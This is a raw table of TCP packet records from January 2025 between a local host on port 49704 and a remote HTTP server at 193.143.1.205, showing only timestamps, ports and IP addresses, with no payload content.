Jan 11, 2025 00:09:45.776120901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776144028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776155949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776166916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776184082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.776187897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776201010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776209116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.776217937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776231050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.776237011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.776264906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.786257029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.812539101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.812552929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.812562943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.812575102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.812621117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.812644958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.833038092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.848975897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849003077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849016905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849028111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849047899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849061012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849072933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849081993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.849087000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849101067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849112988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849117041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.849127054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849137068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.849164009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.849167109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849180937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.849215984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.857986927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.870342016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885250092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885276079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885288000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885308027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885318995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885330915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885333061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885344982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885366917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885386944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885389090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885401964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885421991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885435104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885441065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885473013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885499001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885585070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885601044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885612011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885626078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885632992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885658979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885669947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885682106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885706902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885788918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885799885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885811090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885824919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885844946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.885952950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885963917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885977030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885987997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.885996103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886027098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886063099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886126041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886140108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886152983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886162043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886166096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886177063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886187077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886189938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886224031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886230946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886248112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886260986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886266947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886271000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886288881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886323929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886353970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886364937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886375904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886395931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886399031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886408091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886420012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886442900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886555910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886568069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886579990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886596918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886605024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886614084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886615992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886629105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886642933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886661053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886684895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.886730909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886744022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.886782885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890494108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890537024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890549898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890572071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890573025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890584946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890598059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890611887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890613079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890631914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890644073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890647888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890657902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890671015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890686035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890691042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890700102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890712976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890724897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890738964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890760899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890911102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890924931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890938997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890949011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890960932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.890963078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.890983105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891007900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891016960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891030073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891089916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891118050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891129971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891143084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891154051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891165972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891175032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891186953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891191006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891199112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891212940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891226053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891236067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891237974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891252995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891258001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891278028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891448021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891501904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891524076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891526937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891547918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891556978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891560078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891572952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891593933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891602993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891606092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891618967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.891632080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.891663074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.896286011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.901052952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901067972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901079893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901091099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901103973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901113033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.901115894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901129961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.901134968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.901180029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.908843040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937366009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937428951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937465906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937464952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937501907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937541008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937556028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937591076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937618971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937627077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937664032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937669039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937699080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937731981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937742949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937767029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937800884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937812090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.937834978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937871933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.937881947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.973757029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.973783016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.973875999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.973987103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974005938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974019051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974025965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974034071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974047899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974059105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974064112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974071980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974086046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974088907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974097967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974112034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974138975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974138975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974147081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974159956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974170923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974183083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974194050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974199057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974206924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974214077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974225998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974246025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974246025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974261045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974272966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974277973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974287987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974298000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974307060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974323988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974335909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974343061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974348068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974360943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974366903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974371910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974380970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974384069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974396944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974419117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974438906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974534035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974546909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974558115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974586964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974597931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974603891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974622011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974627018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974642992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974661112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974704981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974736929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974766016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974805117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974833965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974837065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974852085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974864006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974874020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974889994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974905968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974917889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974920988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974931002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974944115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974953890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.974956989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.974977016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975007057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975044012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975075006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975086927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975097895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975109100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975117922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975122929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975138903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975184917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975219965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975327015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975338936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975351095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975370884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975373983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975390911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975402117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975409031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975429058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975438118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975440979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975455046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975467920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975474119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975486994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975503922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975512981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975531101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975537062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975543022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975543022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975548983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975563049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975569010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975585938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975599051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975598097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975614071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975619078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975625992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975637913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975646019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975652933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975666046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975677013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975680113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975692034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975694895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975706100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975718975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 00:09:45.975739956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975765944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 00:09:45.975790024 CET	80	49704	193.143.1.205	192.168.2.5
